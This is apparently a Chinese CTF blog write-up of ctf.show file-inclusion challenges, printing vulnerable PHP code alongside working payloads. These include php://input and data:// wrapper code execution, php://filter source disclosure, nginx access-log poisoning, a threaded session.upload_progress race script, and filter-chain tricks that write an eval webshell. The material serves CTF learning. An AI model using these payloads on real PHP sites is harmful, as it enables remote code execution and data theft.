ctf show-web入门 文件包含篇

10 篇文章 15 订阅

最近和朋友一起入了ctf show的坑,在这里记录一下刷题过程以及从大佬那里学到的姿势

文件包含

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

一般利用一些文件包含函数或者伪协议来操作。

环境要求:

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
  • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

常见文件包含函数

  1. include()
  2. require()
  3. include_once()
  4. require()_once()

web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

直接构造:?file=flag.php ,没有得到想要的结果,可能是被解析了,所以利用php伪协议

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

姿势:

GET:?file=php://input
POST:<?php system("ls"); ?>
然后
POST:<?php system("cat flag.php"); ?>

在这里插入图片描述

php://filter

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

姿势:
?file=php://filter/convert.base64-encode/resource=flag.php

将得到的base64解码后得到flag

web79

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这里有一个过滤,把php替换了

姿势:
1、大小写绕过

配合php://input
在这里插入图片描述
2、data://伪协议

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

<?php system("cat flag.php"); ?>编码得到PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=

构造:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=

然后查看源代码得到flag

web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

data也过滤了,同样用大小写绕过

直接构造:?file=Data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=发现不行

1、php://input

在这里插入图片描述
发现很狗啊。。。文件名改了
在这里插入图片描述
2、日志文件包含:

日志文件包含

访问日志文件记录了服务器收到的每一次请求的
IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号无法包含其中,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。

访问日志的位置和文件名在不同的系统上会有所差异

apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

构造:?file=/var/log/nginx/access.log,成功访问
在这里插入图片描述
然后在UA处插入我们的命令
在这里插入图片描述
base64解码后得到flag

web81

:也被过滤了,只能用日志包含了

步骤同web80

web82

过滤的越来越多了,.也被过滤了

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

所以构造时需要找一个路径中不包含.的文件,这里参考群主给的提示和大佬们的wp,利用session.upload_progress进行文件包含和反序列化渗透

session.upload_progress

利用session.upload_progress写入session文件,达到文件包含的目的。

session配置(前提)

  1. session.upload_progress.enabled = on
    upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
  2. session.upload_progress.cleanup = on
    当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
  3. session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
    name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
  4. session.upload_progress.prefix = “upload_progress_”
    prefix+name将表示为session中的键名
  5. session.use_strict_mode=off
    这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到

这里也是参考给的脚本,改出了一个通杀脚本:

import io
import requests
import threading
import re

sessid = 'flag'
url="http://8f4e7134-d115-4d71-ba02-3caf16dabd5f.chall.ctf.show/"


def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )

def read(session):
    while True:
        resp = session.get(url + '?file=/tmp/sess_{}'.format(sessid))
        if 'tgao.txt' in resp.text:
            pattern = re.compile('flag{.+}')
            result = pattern.findall(resp.text)
            print(result)
            event.clear()
        else:
            pass

if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

web83-86

利用上题的脚本,直接一把梭

web87

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

这题的重点就是绕过file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

filter伪协议写入木马

php://filter/write=convert.base64-decode/resource=1.php

因为题目源码里面有一个urldecode()方法,所以要进行url双编码

%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

关于content里的内容也没太理解,大佬的解释是原文中“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

对于一句话<?php eval($_POST[cmd])?>
base64编码后PD9waHAgZXZhbCgkX1BPU1RbY21kXSk/Pg==
再在开头补两个a:content=aaPD9waHAgZXZhbCgkX1BPU1RbY21kXSk/Pg==

payload:
在这里插入图片描述

执行cmd=system('base64 fl0g.php');
在这里插入图片描述
得到的内容经过base64解码得到flag

web88

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了很多,但是并没有过滤:
hint:

发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =

<?php system('cat fl0g.php'); ?>base64编码后得到PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4=

根据hint得知需要把末尾的等号去掉

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

f12看到flag

web116

先下载视频,binwalk分析发现里面有一张图片,提取得到源码在这里插入图片描述
看似过滤了很多,其实直接?file=flag.php,然后再下载视频就可得到flag

web117

<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

和web87类似,但是这里把rot13和base64过滤了,所以考虑除这两种以外的方式绕过。

参考文章:file_put_content和死亡·杂糅代码之缘

在这里插入图片描述
payload:

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php 
post:contents=?<hp pvela$(P_SO[T]1;)>?

然后
在这里插入图片描述
得到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z.volcano

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值